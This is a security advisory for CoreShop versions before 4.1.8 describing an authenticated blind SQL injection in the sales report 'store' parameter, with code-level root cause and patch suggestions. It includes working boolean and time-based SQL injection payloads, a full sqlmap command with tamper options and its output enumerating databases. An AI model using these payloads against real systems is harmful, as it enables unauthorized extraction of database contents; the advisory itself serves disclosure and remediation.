| Package | Affected versions | Patched versions |
|---|---|---|
| coreshop/core-shop | < 4.1.8 | 4.1.8 |
| coreshop | < 4.1.8 | 4.1.8 |
A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.
The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.
An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.
Vulnerability Type: Blind SQL Injection
Impact: Confidentiality only
An attacker can:
CVSS v3.1 (Base Score: 4.9 – Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
store value (e.g. store=1) and observe that data is returned.store=1 AND 1=1.store=1 AND 2=1.Confirm Injection Behavior:
store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.Automated Confirmation Using sqlmap:
sqlmap with the store parameter.C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema
To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.
Two possible remediation approaches are recommended:
Strict Type Enforcement (Minimal Fix)
If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.
Prepared Statements (Best Practice)
Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.
Applying either approach would prevent attackers from injecting SQL logic through the store parameter.
CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php
Line 64 :
$storeId =$parameterBag->get('store',null);
The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.
Line 77 :
if (null ===$storeId) {
return [];
}
This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).
Line 81 :
$store =$this->storeRepository->find($storeId);
The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.
Line 107 :
WHERE orders.store =$storeId
AND orders.orderState ='$orderCompleteState'
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState='" . OrderSaleStates::STATE_ORDER . "'
At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.
If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.
$storeId = (int)$parameterBag->get('store',0);
if ($storeId <=0) {
return [];
}
$sqlQuery = "
SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
FROM object_query_$classId AS orders
WHERE orders.store =$storeId
AND orders.orderState = '$orderCompleteState'
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
GROUP BY " .$groupSelector;
This ensures that only numeric values are used and prevents SQL logic injection.
Use parameter binding for all user-influenced values, including store.
$sqlQuery = "
SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
FROM object_query_$classId AS orders
WHERE orders.store = ?
AND orders.orderState = ?
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState = ?
GROUP BY " .$groupSelector;
$results =$this->db->fetchAllAssociative(
$sqlQuery,
[
(int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
]
);
This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free